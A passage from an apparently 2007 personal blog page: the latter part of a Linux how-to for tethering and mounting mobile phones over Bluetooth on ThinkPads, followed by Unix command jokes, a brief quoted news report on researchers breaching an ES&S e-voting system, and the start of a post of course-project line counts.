OK      ATD*99***1#
CONNECT ""

See more here

Run pppd with:

$ pppd call nokia

This should establish the internet connection.

 

NOTE!

Different network operators may require different call strings. For many carriers (including T-Mobile USA) “*99#” works without additional parameters.

For editing phonebook / ringtones / etc., the gammu utils (http://www.gamu.net) has been reported to work well, but this appears to be primarily for Nokia phones.

File Transfer

File transfers are accomplished through OBEX transfer, which I believe is basically an FTP over bluetooth connection. Once you have bonded with your phone (yes, I know you love your sexy RAZR, but here I mean paired it with your laptop via bluetooth), you can easily use “obexftp” to transfer files. As an example,

obexftp -b 00:01:02:03:04:05 -l

will list the root directory of the phone with bluetooth address 00:01:02:03:04:05. Refer to the man page for more of the unique commands. What a wonderful interface! Unfortunately there doesn’t seem to be a way to get a standard ‘ftp’ session using familiar commands (e.g. ‘mget’).

For a more user-friendly experience, you can use the kde tools, just launch

kbtobexclient

for a file browser. In the Location: option put

obex://[00:01:02:03:04:05]

to list the files. Note that the brackets *are* necessary. From there, you can list directories easily and batch download files.

Mount a phone as a directory

You can also mount a phone as a standard directory using obexfs and the FUSE (file system in userspace) utilities.

 

NOTE!

The ibm bluetooth card can work like an usb-dongle. You don’t need the bcm203x module.

Configure your kernel as outlined above.

  • Install the required packages

To mount the filesystem we need the fuse program. FuseFS is also implemented in the kernel, but for some reason it only works with 2.6.18. If you run 2.6.17 or earlier, please download it and build the module according to your distro.

  • Emerge or apt-get bluez-utils and obexfs. This should pull other required packages (bluez-libs, openobex, obexftp, sys-fs/fuse) as dependencies.
# emerge bluez-utils obexfs
  • Modify /etc/bluetooth/hcid.conf if you haven’t already. It can be done as above, or use the following:
options {
autoinit yes"
security user
pairing multi
pin_helper /usr/bin/bluepin
}
device {
name testname
class 0x3e0100
iscan enable
pscan enable
lm accept
lp rswitch,hold,sniff,park
}
  • load the modules:
# modprobe fuse
# modprobe bluetooth
# modprobe ehci-hcd
# modprobe uhci-hcd
# modprobe hci_usb
# modprobe l2cap
# modprobe rfcomm
  • activate your bluetooth (show howto ibm-acpi for more details) by using fn+f5 or:
# echo enable >/proc/acpi/ibm/bluetooth
  • start the bluetooth device:
# /etc/init.d/bluetooth start
  • turn on bluetooth of your mobile phone (visible mode) and get the mac-address of your phone using hcitool.
# hcitool scan

For non symbian mobile phones

  • mount your phone - don’t forget to umount it when you’re finished
# mkdir /mnt/phone
# mount -t fuse "obexfs#-b00:16:20:32:25:3C -B6" /mnt/phone

use your mac-address instead of my 00:16:20:32:25:3C and don’t forget the -b option in front of the mac

Works perfectly with IBM T43p, X41, sony ericsson k750i, nokia 6280, samsung z400, sony ericsson k700i.

Mounting Symbian Phones

  • You need network file system support in your kernel
# cd /usr/src/linux
# make menuconfig
File Systems → Network File Systems → <M>NFS file system support (NFS_FS)
File Systems → Network File Systems → <M>Provide NFSv3 client support (NFS_V3)
File Systems → Network File Systems → <M>NFS server support (NFSD)
File Systems → Network File Systems → <*>Provide NFSv3 server support (NFSD_V3)
File Systems → Network File Systems → <*>Provide NFS server over TCP support (NFSD_TCP)
# make && make modules_install
  • Install required programs
# emerge -av p3nfs
  • Modify your /etc/bluetooth/rfcomm.conf
rfcomm0 {
bind yes;
device 00:0F:DE:8C:E6:94;
channel 13;
comment "symbian connection"
}
  • restart your bluetooth device, load kernel modules and start portmap (required for p3nfs)
# /etc/init.d/bluetooth restart
# modprobe nfs
# modprobe nfsd
# /etc/init.d/portmap start
  • get the application for your mobile phone here
  • start bt at your mobile phone, send application to mobilephone, install and launch the nfsapp with bluetooth at channel 13 (default)
# obexftp -b 00:0F:DE:8C:E6:94 -p /home/tava/ablage/nfsapp*
  • mount your mobile phone:
# p3nfsd -UIQ -tty /dev/rfcomm0 -dir /mnt/bluetooth (-UIQ is only for UIQ-Phones, type p3nfsd –help and get informations for your phone)
  • if doesn’t work, make sure rfcomm0 is clean
# rfcomm

Building from source

Get the source packages from www.bluez.org.

Build each of them with the usual steps:

$ ./configure && make
# make install

Troubleshooting

If you cant get hci0 up with a /etc/init.d/bluetooth restart (or similar) then you might want to try a

# hciconfig hci0 down && hciconfig hci0 up

(solved the problem on a X60s and T60 (debian/testing))

External Links

computers and technology & funny & geek & linux, unix, and open source & personal & programming & random & religious 06 Dec 2007 02:49 pm

Classic Geek Jokes: Funny Unix Commands

Geek Humor - Classic Geek Jokes: Funny Unix Commands
% cat “food in cans”
cat: can’t open food in cans

% nice man woman
No manual entry for woman.

% rm God
rm: God nonexistent

% ar t God
ar: God does not exist]

% ar r God
ar: creating God

% “How would you rate George Bush’s incompetence?
Unmatched “.

% [Where is Jimmy Hoffa?
Missing ].

% ^How did the sex change operation go? ^
Modifier failed.

% If I had a ( for every $ the Congress spent, what would I have?
Too many (’s.

% make love
Make: Don’t know how to make love. Stop.

% sleep with me
bad character

% got a light?
No match.

% man: why did you get a divorce? man::
Too many arguments.

% !:say, what is saccharine?
Bad substitute.

% %blow
%blow: No such job.

$ PATH=pretending!/usr/ucb/which sense
no sense in pretending!

linux, unix, and open source & news & programming 06 Dec 2007 01:52 pm

ES&S e-voting system used in California cracked wide open

ES&S e-voting system used in California cracked wide open
After bypassing the physical security of the voting machines, the Red Team researchers were able to gain direct access to all of the files on the systems, including password files. “Making a change to the BIOS to reconfigure the boot sequence allows the system to be booted up using external memory devices containing a bootable Linux copy,” according to the researchers. “Once done, all the files can be accessed and potentially modified, including sensitive files such as the password file which can be cracked by openly available cracker programs. New users may be added with known passwords and used by the same attacker or other attackers later.”

geek & personal & programming & undergrad computer science classes 06 Dec 2007 12:04 am

Ah…am I really done with PL?

Here are some stats on my projects:

Lines Words Characters

87   694  4148 snobol_project/documentation01.txt
181  1375  8689 snobol_project/documentation02.txt
252  1405 11580 snobol_project/documentation03.txt
2005  5828 55929 snobol_project/documentation04.txt
2525  9302 80346 total
(Roughly 45 pages)
139   860  5995 ml_project/documentation01.txt
247  1755 10968 ml_project/documentation02.txt
1275  4565 39615 ml_project/documentation03.txt
776  1613 20911 ml_project/documentation04.txt
2437  8793 77489 total
(Roughly 43 pa